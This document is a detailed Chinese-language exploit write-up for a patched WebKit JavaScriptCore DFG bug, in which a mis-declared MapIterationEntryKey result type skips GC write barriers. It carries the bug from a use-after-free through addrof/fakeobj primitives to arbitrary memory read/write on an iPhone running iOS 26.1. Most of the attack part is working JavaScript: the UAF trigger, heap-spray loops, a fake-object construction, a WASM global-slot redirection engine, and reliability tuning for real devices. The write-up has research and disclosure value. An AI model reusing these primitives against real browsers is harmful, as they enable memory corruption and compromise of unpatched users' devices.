本文记录了 WebKit JavaScriptCore DFG 编译器中一个类型声明错误的完整利用过程——从 DFGNodeType.h 宏表中的 NodeResultInt32(应为 NodeResultJS),经 GC 写屏障绕过触发 Use-After-Free,一步步升级到在 iPhone 真机(iOS 26.1,非越狱原厂)上稳定实现任意内存地址读写(AAR/AAW)。端到端成功率约 80%。

字段
漏洞位置 Source/JavaScriptCore/dfg/DFGNodeType.hMapIterationEntryKey 节点
Bugzilla 304950
rdar 167200795
修复提交 3f6f7836068(cherry-pick 47b55468bf82
受影响版本 Safari ≤ 26.2 (WebKit 7623.1.14.11.9)
修复版本 Safari 26.3 (20623.2.7) — 安全公告
目标设备 iPhone / vphone (iOS 26.1) 及 macOS 26.2
Exploit 成功率 ~80%(失败时通常表现为页面重载,罕见无响应崩溃)

漏洞概述

JavaScriptCore (JSC) 将 JavaScript 编译为高效机器码的过程中,有一个名为 DFG(Data Flow Graph)的中间层编译器。DFG 对每个中间表示(IR)节点附加了一个 输出类型声明NodeResult),告诉后续优化 pass 这个节点产出什么类型的值。

问题出在一张巨大的宏定义表中,一个单词写错了:

// Source/JavaScriptCore/dfg/DFGNodeType.h, line 592
macro(MapIterationEntry,      NodeResultJS)      \
macro(MapIterationEntryKey,   NodeResultInt32)   \   // ← BUG: 应为 NodeResultJS
macro(MapIterationEntryValue, NodeResultJS)      \   // ← 正确

MapIterationEntryKeyMap.forEach() 回调中获取 key 的节点 — 被声明为只产出 32 位整数。但看一下运行时的实际实现:

// DFGOperations.cpp:4931
JSC_DEFINE_JIT_OPERATION(operationMapIterationEntryKey, EncodedJSValue, (...))
{
    JSMap::Storage& storage = *jsCast<JSMap::Storage*>(cell);
    OPERATION_RETURN(scope, JSValue::encode(
        JSMap::Helper::getIterationEntryKey(storage)));
    // 返回任意 JSValue:可能是对象指针、double、字符串……
}

运行时返回的是完整的 64 位 EncodedJSValue。代码生成层也正确地调用了 jsValueResult(resultRegs, node) 来存储完整的 64 位值。不一致完全在于类型注释,而非代码逻辑。

NodeResult 这个静态声明决定了三个关键的下游行为:

影响 NodeResultInt32 NodeResultJS
寄存器分配 单个 32 位 GPR 64 位 JSValueRegs
GC 扫描 不扫描(标量) 视为 JSValue 单元格引用
Store Barrier 插入 被跳过(本漏洞核心) 向堆写入时正常插入

修复是将 NodeResultInt32 改为 NodeResultJS一个单词,修复整个漏洞链。


第一章:从类型声明错误到 Use-After-Free

1.1 写屏障:GC 的生命线

JSC 使用分代垃圾回收,一种将堆按对象年龄分区管理的策略。新对象分配在 eden 区(新生区),经历一次或多次 GC 后仍然存活的对象被晋升(tenured)到老生代(old generation),一片很少被扫描的内存区域。分代假说是:大多数对象朝生夕死,只有少数长寿对象需要从频繁回收的 eden 区搬到安全的老生代。

当老生代对象引用 eden 对象时,GC 需要知道这个引用关系。否则,GC 只扫描 eden 区时会以为该 eden 对象无人引用,于是把它回收——但实际上老生代的某个对象还在用它。

这就是 Store Barrier(写屏障) 的作用:每当向老生代对象写入一个可能是堆对象指针的值时,编译器插入一条 FencedStoreBarrier 指令,将该老生代对象加入 remembered set,确保 GC 扫描时不会遗漏它的引用。

1.2 屏障是如何被骗过的

DFG 的 Store Barrier 插入阶段(DFGStoreBarrierInsertionPhase.cpp)在 Fast 模式下对每个 PutByOffset(属性赋值)操作检查:被写入的值是什么类型?

// DFGStoreBarrierInsertionPhase.cpp(Fast 模式,DFG 层)
void considerBarrier(Edge base, Edge child)
{
    switch (child->result()) {        // 读取 NodeResult 声明
    case NodeResultInt32:             // ← MapIterationEntryKey 命中这里
    case NodeResultDouble:
    case NodeResultNumber:
    case NodeResultInt52:
    case NodeResultBoolean:
        return;                       // Int32/Double/Bool 不可能是堆指针 → 跳过屏障
    default: break;
    }
    considerBarrier(base);            // 正常路径:插入写屏障
}

case PutByOffset: {
    considerBarrier(m_node->child2(), m_node->child3());
    // child3 = MapIterationEntryKey 节点 → 命中 NodeResultInt32 → 跳过
    break;
}

逻辑很清晰:如果值声明为整数、浮点数或布尔值,它不可能是堆对象指针,因此不需要写屏障。这个推理本身没有问题。问题在于 MapIterationEntryKey 说谎了:它声称自己是 Int32,但实际返回的是可能包含堆指针的 JSValue

Map.forEach() 的回调被 DFG 内联编译、且回调中将 key 存入一个老生代对象的属性时,编译器查表发现 key 是 Int32,直接跳过了写屏障。

值得注意:FTL(更高层的编译器)不受此漏洞影响。FTL 使用 PhaseMode::Global,通过 Abstract Interpreter 推导出 MapIterationEntryKey 实际输出的是 SpecHeapTop(堆对象),因此正确插入了屏障。这个 bug 仅影响 DFG 层的 Fast 模式。

1.3 DFG IR 中的铁证

设置 --dumpGraphAtEachPhase=true --useConcurrentJIT=false 后,对比 Store Barrier 插入阶段(Phase 21)前后的 IR:

forEach 内联中(屏障缺失):

D@149: MapIterationEntryKey(Cell:D@104, Int32|PureNum, Final, R:JSMapFields, Exits)
D@188: PutByOffset(KnownCell:D@184, KnownCell:D@184, Check:Untyped:D@149, id1{key}, 0)
// D@188 后面 —— 没有 FencedStoreBarrier!

独立的赋值操作(屏障正确):

D@30: PutByOffset(KnownCell:D@25, KnownCell:D@25, Check:Untyped:D@28, id1{key}, 0)
D@36: FencedStoreBarrier(KnownCell:D@25, R:Heap, W:JSCell_cellState)

1.4 触发条件

要将这个声明错误转化为可利用的 UAF,需要满足以下条件的组合:

  1. Map key 为对象(非 Int32 / Double / String 等非单元值)
  2. forEach 以 DFG 层编译,且回调函数被内联进 forEach
  3. 回调将 key 存入老生代对象的属性
  4. key 对象在 eden 区(新分配)
  5. key 指针在 GC 运行前离开 C 栈(否则保守栈扫描会保住它)。这里的 C 栈指的是 JSC 引擎本身(C++ 编写)在执行时使用的原生调用栈,和 JavaScript 代码视角的调用栈不是一回事。JSC 的 GC 会扫描原生 C 栈上的所有值,如果某个值恰好看起来像一个合法的堆指针,GC 会保守地认为它可能是一个活引用,从而不回收对应的对象——这就是保守根扫描(conservative root scanning)。因此,只要 key 的指针还留在 C 栈的某个帧里,GC 就不会回收它
  6. Minor(eden)GC 触发:老生代持有者不在 remembered set → 不被重扫 → key 被回收
  7. 堆喷射覆盖已释放单元格 → UAF

1.5 走向 UAF

写屏障缺失意味着什么?让我们一步步构造出 Use-After-Free:

  1. 分配一个老生代对象 holder:经过多轮 full GC,holder 被晋升到老生代
  2. 创建一个新 Map,key 是 eden 区的新对象 {0: marker}
  3. 通过 DFG 编译的 forEach 回调holder.key = key。由于没有写屏障,holder 不会被加入 remembered set
  4. 让 key 的指针离开 C 栈storeKey() 函数返回后,key 的 C++ 局部变量被弹出栈帧,不再是保守根
  5. 触发 Eden GC:GC 扫描 eden 区,发现 {0: marker} 没有被任何 root 引用(holder 不在 remembered set 中),于是回收该对象
  6. holder.key 成为悬空指针

为什么官方回归测试无法触发

WebKit 的 JSTests/stress/map-forEach.js 在 Release 构建中不会触发 UAF,原因有三:

  • 依赖 Debug 构建的堆涂抹检测
  • GC 调用时序错误(startScan() 在 forEach 之前,无法收集本轮 key)
  • forEach 调用与 GC 在同一栈帧,key 指针作为保守根被保留

正确的 PoC 设计

正确的 PoC 需要将 forEach 调用隔离到独立函数帧,并用 deepClobber 冲刷 C 栈:

const holder = { key: 1 };
const map = new Map([[{0: 1.1}, 1]]);

function inlinee(value, key) { holder.key = key; }
noFTL(inlinee);

for (let i = 0; i < 1000; i++) map.forEach(inlinee);  // DFG 预热

fullGC(); fullGC(); fullGC();  // 将 holder 提升到老生代

function storeKey(marker) {
    let m = new Map([[{0: marker}, 1]]);
    m.forEach(inlinee);  // 返回后 key 离开 C 栈
}

// 冲刷 C 栈,移除保守根
function deepClobber(n) {
    let a=0,b=0,c=0,d=0,e=0,f=0,g=0,h=0;
    if (n > 0) return deepClobber(n - 1);
    return a+b+c+d+e+f+g+h;
}

storeKey(99.99);
deepClobber(300);
edenGC();  // holder 不在 remembered set → key 被回收

let spray = [];
for (let j = 0; j < 5000; j++) spray.push({0: 2.2});

if (typeof holder.key === "object" && holder.key[0] === 2.2) {
    print("[UAF] 悬空引用指向喷射对象");
}

结果:5/5 次 100% 可复现。50 轮扩展测试中,typeof holder.key === "symbol" 曾出现,证明 GC 确实回收了 cell 并将其复用为 Symbol 对象。


第二章:addrof / fakeobj — 堆风水的艺术

有了 UAF,下一步是将它升级为两个基础利用原语:

  • addrof(obj): 给定一个 JavaScript 对象,读取其在内存中的地址
  • fakeobj(addr): 给定一个内存地址,将其作为 JavaScript 对象返回

2.1 跨 Subspace 的 Butterfly 重用

JSC 将对象的 cell(header + 固定字段)和 butterfly(动态属性/数组元素存储)分别管理:

组件 Victim {0: 1.1} 喷射 [targetObj]
Cell CompleteSubspace (JSFinalObject) IsoSubspace (JSArray)
Butterfly Gigacage (bmalloc) Gigacage (bmalloc)

关键洞察:虽然 JSFinalObject 和 JSArray 的 cell 在不同的 Subspace(不会互相复用),但它们的 butterfly 在同一个 Gigacage bmalloc 池,butterfly 内存可以被复用

这意味着:

  • 悬空的 victim cell 保留原始的 DoubleShape(认为自己存储的是浮点数)
  • 悬空的 butterfly 指针现在指向了 JSArray 喷射对象 butterfly 所在的 Gigacage 内存
holder.key → [freed victim cell: DoubleShape indexing] → butterfly → [JSArray spray 的 NaN-boxed pointer]
  • addrof: 向 hitSpray[idx][0] 写入目标对象 → 读 holder.key[0] 走 DoubleShape 路径 → 将 NaN-boxed 指针当作 raw float64 读出
  • fakeobj: 向 holder.key[0] 写入构造的 double → JSArray 读回时将其解释为 JSValue → 得到任意地址的"对象"

2.2 Safari 中的完整实现

在 Safari 中,没有 fullGC() / edenGC() API,需要通过分配压力模拟 GC 行为。实际的 exploit 循环要复杂得多:

// —— Safari 版本的 GC 模拟 ——
async function gcFull() {
    let x; for (let i = 0; i < 1000; i++) x = new ArrayBuffer(1024 * 1024);
    let arr = []; for (let i = 0; i < 100000; i++) arr.push({ a: i });
    arr = null; x = null;
    await sleep(100);
}
async function gcEden() {
    let x; for (let i = 0; i < 100; i++) x = new ArrayBuffer(1024 * 1024);
    let arr = []; for (let i = 0; i < 50000; i++) arr.push({ a: i });
    arr = null; x = null;
    await sleep(50);
}

// —— UAF 触发与 butterfly overlap 循环 ——
let hitSpray = null, hitRound = -1;
for (let r = 0; r < 600; r++) {
    await gcEden();

    // 分配大量 [1.1] 数组,"耗尽"当前 butterfly freelist
    let drain = []; for (let j = 0; j < 4000; j++) drain.push([1.1]);

    storeKey(100.1 + r);
    deepClobber(300); deepClobber(300);

    // Cell sled: 64 个同 shape 的 FinalObject(解决 iPhone StructureID=0 崩溃)
    let _cc = []; for (let k = 0; k < 64; k++) _cc.push({ 0: 0.0 }); _cc = null;

    await gcEden();

    // 喷射 JSArray —— 其 butterfly 可能复用 victim 的
    let sp = []; for (let j = 0; j < 3000; j++) sp.push([{ _: 1 }]);
    drain = null;

    let val; try { val = holder.key[0]; } catch (e) { continue; }
    // 如果读到的值 ≠ 我们写入的 marker,说明 butterfly 已被复用
    if (typeof val === "number" && Math.abs(val - (100.1 + r)) > 0.01) {
        hitSpray = sp; hitRound = r; break;
    }
}

成功复用后,还需要通过线性搜索精确定位哪个 spray 数组与 victim 共享了 butterfly:

let rawBits = f2i(holder.key[0]);
let matchIdx = -1;
for (let i = 0; i < hitSpray.length; i++) {
    let saved = hitSpray[i][0];
    hitSpray[i][0] = { _u: true };  // 写入一个对象
    if (f2i(holder.key[0]) !== rawBits) {
        // rawBits 变了 → 这个 spray 的 butterfly 就是 victim 的
        matchIdx = i;
        hitSpray[i][0] = saved;
        break;
    }
    hitSpray[i][0] = saved;
}

function addrof(obj) {
    hitSpray[matchIdx][0] = obj;   // JSArray 存入 NaN-boxed 指针
    return f2i(holder.key[0]);     // DoubleShape 路径读出 raw bits
}
function fakeobj(addr) {
    holder.key[0] = i2f(addr);    // DoubleShape 写入 raw bits
    return hitSpray[matchIdx][0]; // JSArray 路径读出 JSValue
}

2.3 iPhone 真机验证

[+] BUTTERFLY REUSE round 0!
[+] addrof(o1) = 0x0000000114835d60
[+] addrof(o2) = 0x0000000114835d80
distinct: pass  |  consistent: pass  |  tag: 0x0000
addrof: SUCCESS

2.4 iPhone 真机适配

在 iPhone 上需要额外调整以确保稳定性:

  • deepClobber() 深度增至 300,且调用两次,以彻底冲刷 ARM64 的更深栈帧
  • GC pressure 混入 ArrayBuffer 分配防止 JIT DCE 优化掉关键分配
  • await sleep(50) 等待 iOS 并发 GC 完成
  • DFG 预热增至 5000 次以确保回调被充分内联

第三章:WASM 双实例任意读写引擎

addrof/fakeobj 还不够——我们需要 任意地址的读写。传统方法是构造 fake Float64Array,但在现代 JSC 上问题重重:

维度 Fake Float64Array WASM 双实例
StructureID 必须精确猜测(几百万个可能值) 不需要
GC 安全 GC 可能在假 header 上崩溃 instances 是合法 GC 对象
NaN-Boxing 某些 bit 模式被规范化 WASM i64 绕过 NaN-boxing

3.1 WASM 模块设计

我们构造了一个 90 字节的极简 WASM 模块,包含 2 个 mutable global 和 4 个导出函数:

(module
  (global $g0 (mut i64) (i64.const 0))   ;; 64-bit 地址通道
  (global $g1 (mut i32) (i32.const 0))   ;; 32-bit 值通道
  (func (export "a") (result i32) global.get 0  i32.wrap_i64)  ;; read addr low32
  (func (export "b") (param i64)  local.get 0   global.set 0)  ;; set addr
  (func (export "c") (result i32) global.get 1)                ;; read value
  (func (export "d") (param i32)  local.get 0   global.set 1)  ;; set value
)

创建 ExecutorNavigator 两个实例。关键在于 global 是 Portable globals——通过 WebAssembly.Global 在宿主端创建并导入:

const exe_g0 = new WebAssembly.Global({ value: 'i64', mutable: true }, 0n);
const exe_g1 = new WebAssembly.Global({ value: 'i32', mutable: true }, 0);
const nav_g0 = new WebAssembly.Global({ value: 'i64', mutable: true }, 0n);
const nav_g1 = new WebAssembly.Global({ value: 'i32', mutable: true }, 0);

const executor  = new WebAssembly.Instance(wasmModule, { e: { g0: exe_g0, g1: exe_g1 } });
const navigator_= new WebAssembly.Instance(wasmModule, { e: { g0: nav_g0, g1: nav_g1 } });

JSC 在每个 Instance 对象内部维护一个指向 global 值槽的指针。Portable global 的值槽存储在 WebAssembly.Global JS 对象中,Instance 通过指针间接引用。

JIT 预热 22 次后触发 BBQ 编译,使后续的 global 读写走快速路径:

for (let t = 0; t < 22; t++) {
    executor.exports.a(); executor.exports.b(BigInt(t));
    executor.exports.c(); executor.exports.d(t);
    navigator_.exports.a(); navigator_.exports.b(BigInt(t));
    navigator_.exports.c(); navigator_.exports.d(t);
}

3.2 构造非对称读写通道

核心思路:用 bootstrap R/W 将 Navigator 实例中 g0 的值槽指针重定向到 Executor 实例中 g1 的值槽

正常状态:
  Navigator.g0_slot_ptr → Navigator 自己的 g0 值槽
  Executor.g1_slot_ptr  → Executor 自己的 g1 值槽

篡改后:
  Navigator.g0_slot_ptr → Executor 的 g1 值槽  ← 重定向!

这样就建立了一个 address-value 非对称通道:

// read32(addr): navigator 写 g0(实际写入 executor 的 g1 值槽)→ executor 读 g1
window.read32 = function(addr) {
    navigator_.exports.b(addr);       // Navigator g0 ← addr (实际写入 Executor g1!)
    return executor.exports.c() >>> 0; // Executor g1 → 读出 addr 处的 i32
};

// write32(addr, val): 同理
window.write32 = function(addr, val) {
    navigator_.exports.b(addr);       // 设地址
    executor.exports.d(val);          // 写值
};

// read64 / write64: 两次 32-bit 操作组合
window.read64 = function(addr) {
    return BigInt(read32(addr)) | (BigInt(read32(addr + 4n)) << 32n);
};

等一下。这里有个鸡生蛋的问题——要完成上述重定向,我们需要先有任意读写来定位 Instance 内部的 slot 偏移。

3.3 Bootstrap 闭环:消除 describe() 依赖

在 JSC shell 中有 describe() 函数可以直接打印对象的内部布局,但 Safari 中没有这个 API。

我们面临循环依赖:

  • 需要 containerBF(container 数组的 butterfly 地址)才能构建 fake DoubleArray → 实现 read64
  • 需要 read64 才能读出 containerBF

DoubleEncodeOffset 陷阱

在 ARM64 JSC 上,对象内联属性中的 double 存储时会加上 0x0002000000000000(DEO)。这意味着如果我们试图在内联属性中存放 butterfly 指针,指针会被 DEO 污染。但 DoubleArray butterfly 元素不加 DEO,直接存储原始 IEEE754 位。

多次尝试利用内联属性直接构造 fake array 都因 DEO 而失败。最终方案基于 butterfly 元素而非内联属性。

失败尝试

在找到最终方案之前,我们尝试了 5 种不同的 bootstrap 策略,全部失败:

方案 失败原因
DEO 补偿 butterfly 指针经 float64 读取触发 NaN 规范化,指针被销毁
3-slot overlap 需要预知 overlapBF,循环依赖
大数组包含法 Gigacage 不同 size-class,小 butterfly 不在大数组范围
Gigacage 全页扫描 fakeobj 到非 butterfly 地址触碰 wild pointer,SIGBUS
WASM 线性内存 找 data pointer 需要先 read64,循环

关键发现

突破口来自三个关键洞察:

  1. JSObject::tryGetIndexQuickly fast path 以 indexingType() 字节分派,不查 StructureID。只要 publicLength > index,StructureID 永远不被检查。
  2. Cell-header-as-IndexingHeader 技巧:令 butterfly = cellAddr + 8,此时 IndexingHeader(butterfly 前方 4 字节)的 publicLength 字段恰好等于该 cell 的 StructureID(约数百到数千万)。只要 publicLength > 0,所有元素访问直接走 fast path。
  3. 安全 butterfly 填充:所有候选 48B-class 数组 [1] 槽预设为 containerAddr + 8。错误猜测的 fakeobj() 读到已知安全地址,返回垃圾但不会 segfault。

最终方案:v128 Global Offset 扫描

我们发现 WASM v128 类型的 mutable global 在 Instance 对象中占据 16 字节的固定偏移,并且存储 raw bits(不经过 NaN-boxing 或 DEO)。

这给了我们一个受控的 16 字节写入窗口——刚好放下一个 fake JSCell header(8 字节)+ butterfly 指针(8 字节)。

方案:

  1. 创建一个包含 v128 mutable global 的 WASM 实例
  2. addrof 获取该实例的地址
  3. 在实例地址的 +0x80+0x300 范围内逐 8 字节扫描
  4. 每次扫描:将 v128 global 的低 64 位设为 fake JSCell header、高 64 位设为 containerAddr + 8,然后尝试 fakeobj 该偏移地址
  5. 三重验证:值非 undefined → 地址范围合理 → 交叉切换数组验证偏移一致 → fakeobj(containerBF)[0] === 1.1
// Fake JSCell header: SID=1, indexingType=0x07 (DoubleArray),
//                     jsType=0x25 (JSArray), inlineTypeFlags=0x01
let fakeHeader = 1n | (0x07n << 32n) | (0x25n << 40n) | (0x01n << 56n);

for (let off = 0x80; off <= 0x300; off += 8) {
    let cellAddr = v128instAddr + BigInt(off);
    v128inst.exports.s(fakeHeader, containerAddr + 8n);  // v128 = [header][butterfly]

    let fake = fakeobj(cellAddr);
    let v0 = fake[0];
    if (v0 === undefined) continue;
    let bf_bits = f2i(v0);

    // 验证: 是否是合理的 butterfly 地址?
    if (bf_bits < 0x100000000n || bf_bits > 0x0000FFFFFFFFFFFFn) continue;

    // 交叉验证: 切换到另一个数组看 butterfly 是否偏移合理
    v128inst.exports.s(fakeHeader, structArrAddr + 8n);
    let sa_bf = f2i(fakeobj(cellAddr)[0]);
    if (Math.abs(Number(sa_bf - bf_bits)) > 0x10000) continue;

    // 最终验证: 用 containerBF 构造 fakeobj 读 structArr 的内容
    container[0] = i2f(fakeHeader);
    container[1] = i2f(sa_bf);
    if (fakeobj(bf_bits)[0] === 1.1) {
        containerBF = bf_bits;
        structArrBF = sa_bf;
        V128_OFFSET = off;
        break;
    }
}

踩坑:WASM 分配顺序

WASM 模块编译和实例化会触发大量 GC 分配。如果在 butterfly overlap 建立之后才分配 WASM 实例,编译过程中的 GC 压力会覆盖悬空的 DoubleShape cell,导致 addrof(wasmInstance) 返回 canonical NaN(0x7FF8000000000000)。

证据对比:先 overlap 后 WASM 时 addrof(executor) = NaN;先 WASM 后 overlap 时所有地址正确读出。

修复很简单:将所有 WASM 分配移到 butterfly overlap 之前

3.4 Bootstrap R/W 与 Portable Global Slot 定位

有了 containerBFstructArrBF,我们可以构造一个 fake DoubleArray 来实现 bootstrap 级别的 read64/write64:

container[0] = i2f(fakeHeader);
container[1] = i2f(structArrBF);   // butterfly → structArr 的元素存储
let fakeArr = fakeobj(containerBF); // fakeArr "是" container,但 butterfly 指向 structArr

fakeArr 是一个 “嵌合体”:它的 cell 是 container 的 butterfly(我们可以通过 container[0]/container[1] 控制 header 和 butterfly 指针),但 JS 引擎把它当作一个合法的 DoubleArray。通过改变 container[1],我们可以让 fakeArr 的 butterfly 指向任意地址,实现读写。

接下来需要在 Executor 和 Navigator 实例的内存中定位 global slot:

// 在 Portable global 中写入标记值
exe_g0.value = 0x4141414142424242n;
exe_g1.value = 0x43434343;

// 扫描 executor Instance 的前 576 字节,寻找指向标记值的指针
for (let off = 0; off < 576; off += 8) {
    let slot = bootstrap_read64(executorAddr + BigInt(off));
    // 如果 slot 指向的内存中包含标记值 → 找到了 global slot 指针的偏移
    if (bootstrap_read64(slot) === 0x4141414142424242n) exe_g0_slot_off = off;
    if ((bootstrap_read64(slot) & 0xFFFFFFFFn) === 0x43434343n) exe_g1_slot_off = off;
}

最后一步——重定向:

// 保存 navigator_ 原始 g0 slot 指针(teardown 时恢复)
let origNavG0Slot = bootstrap_read64(navigatorAddr + BigInt(exe_g0_slot_off));

// 将 navigator_ 的 g0 slot 指针重定向到 executor 的 g1 slot
bootstrap_write64(
    navigatorAddr + BigInt(exe_g0_slot_off),
    executorAddr + BigInt(exe_g1_slot_off)
);

3.5 完整的 R/W 引擎自举流程

1. 创建 v128 WASM 实例 + Portable globals 双实例 (Executor + Navigator)
2. JIT 预热 22 次 → BBQ 编译
3. 触发 UAF → butterfly overlap → addrof/fakeobj
4. v128 offset 扫描 → 获取 containerBF, structArrBF
5. 构造 fakeArr (containerBF 处的 fake DoubleArray)
6. bootstrap_read64/write64 通过 fakeArr 实现
7. 定位 Executor 和 Navigator 实例中的 global slot 偏移
8. 将 Navigator 的 g0 slot 重定向到 Executor 的 g1 slot
9. 导出 read32/write32/read64/write64 API

验证结果:Safari 15/15 WASM R/W 引擎测试通过;JSC standalone 3/3 次 read64/write64 验证正确。

3.6 GC 安全的 Teardown

exploit 完成后,如果不清理内部状态,保守式 GC 可能扫描到 containerBF(fakeArr 的地址),跟随 container[1] 作为 butterfly 指针进入 WASM Instance 内部,读到无效的 JSValue,触发 SIGSEGV/SIGBUS。

根因:JSC 的保守式 GC 扫描原生栈时,会发现仍然存活的 containerBF 值。它把这个值当作可能的 GC 对象,尝试追踪其 butterfly 指针(即 container[1])。但在 bootstrap 操作后,container[1] 指向 WASM Instance 的内部结构——不是合法的 JSValue 数组。GC 读到无效 JSValue → crash。

Teardown 两步:

  1. 恢复 Navigator 的 g0 slot 指针为原始值(确保 WASM Instance 析构函数不 crash)
  2. 恢复 container[1] = structArrBF,使 GC 扫描到安全的浮点数组
window.teardown_wasm_rw = function() {
    // 步骤 1: 恢复 navigator_ g0 slot 指针
    bootstrap_write64(
        navigatorAddr + BigInt(exe_g0_slot_off),
        origNavG0Slot
    );
    // 步骤 2: 恢复 container[1] → GC 扫描安全
    container[0] = i2f(fakeHeader);
    container[1] = i2f(structArrBF);
    // 禁用 R/W API(teardown 后不再有效)
    window.read32 = window.write32 = window.read64 = window.write64 = null;
};

第四章:关键调试经验

开发过程中遇到了若干 iPhone 特有的崩溃和非直觉行为,记录如下。

4.1 iPhone StructureID=0 崩溃

症状EXC_BAD_ACCESS (SIGSEGV) at 0x000000000000004c(null+0x4c),crash 在 llint_slow_path_get_by_val + 1536

根因链:victim {0: marker} 被 GC 释放后,cell 被 freelist 的 next 指针覆盖。在 iPhone 上,由于不同的 GC 行为和内存压力,victim 经常成为 freelist 的最后一个节点(tail),此时 next = null → StructureID = 0 → structureTable[0] = nullptr → crash。macOS 上堆布局不同,victim 通常在 freelist 中间,不会触发此问题。

解决方案(Cell Sled):在 storeKey() 之后(不是之前)立即分配 64 个同 shape 的 FinalObject {0: 0.0}。由于 bump pointer 的分配方向,sled 对象在 victim 之后(更高地址),GC sweep 从低到高扫描后 sled 进入 freelist HEAD,使 victim 的 next 非 null、StructureID 非零。

4.2 DoubleEncodeOffset 陷阱

症状EXC_BAD_ACCESS,访问地址带 0x0002 前缀。

根因:ARM64 JSC 对对象内联属性中的 double 加 +0x0002000000000000 偏移存储。在内联属性中存放 butterfly 指针会导致指针被 DEO 污染。

修复:改用 DoubleArray butterfly 元素存储原始位(不经过 DEO)。

4.3 WASM 分配顺序

症状addrof(wasmInstance) 返回 canonical NaN 0x7FF8000000000000

根因:WASM 模块编译 + 实例化触发大量 GC allocation。如果在 butterfly overlap 之后执行,GC 压力会覆盖 stale DoubleShape cell。

修复:将所有 WASM 分配移至 butterfly overlap 之前完成。

4.4 开发服务器

Python aiohttp/websockets 在 Python 3.13 上 import 卡死;手写 asyncio WebSocket 服务器虽然可用但 Safari 连接后立刻断开。最终使用 Bun.serve() 实现 HTTP + WebSocket 同端口零依赖方案。日志采用批量 XHR POST + setInterval(50ms) flush,避免高频网络 I/O 干扰堆风水时序。

4.5 踩坑速查表

# 问题 根因 解决
1 iPhone crash: null+0x4c {0:marker} 成 freelist tail,SID=0 Cell sled:storeKey 后分配 64 个 {0:0.0}
2 addrof(wasmInstance) = NaN WASM 编译 GC 压力覆盖 stale cell WASM 分配移到 butterfly overlap 之前
3 butterfly 指针带 0x0002 前缀 DoubleEncodeOffset 污染内联属性 改用 DoubleArray butterfly 元素
4 read64 返回 undefined IndexingHeader.publicLength=0 fallback 偏移读(addr-8, addr-16)
5 WebSocket 消息攒到断开时才发 同步代码中 ws.send() 只进缓冲区 改用 XHR POST + setInterval flush
6 JIT warmup 破坏 butterfly link BBQ 编译时分配 FinalObject 复用 freed cell 保留原始 drain + gcEden 节奏,仅加 cell sled

附录:Exploit 链路图

MapIterationEntryKey NodeResultInt32 声明错误
Phase 1: UAF
    DFG StoreBarrierInsertionPhase::Fast
    child->result() == NodeResultInt32 → 跳过 FencedStoreBarrier
    PutByOffset 无 GC 写屏障
Eden GC: 老生代 holder 不在 remembered set → key 被回收
Phase 2: addrof / fakeobj
    喷射 JSArray → Cell: IsoSubspace (不复用) / Butterfly: Gigacage (复用!)
    DoubleShape cell 读 NaN-boxed ptr = addrof
    DoubleShape cell 写 raw bits = fakeobj
Phase 3: WASM 双实例 R/W
    v128 global offset 扫描 → containerBF/structArrBF
    Bootstrap R/W → 定位 Portable global slots
    Navigator.g0_slot → Executor.g1_slot (重定向)
    read32 / write32 / read64 / write64
✓ 任意内存读写 (AAR/AAW)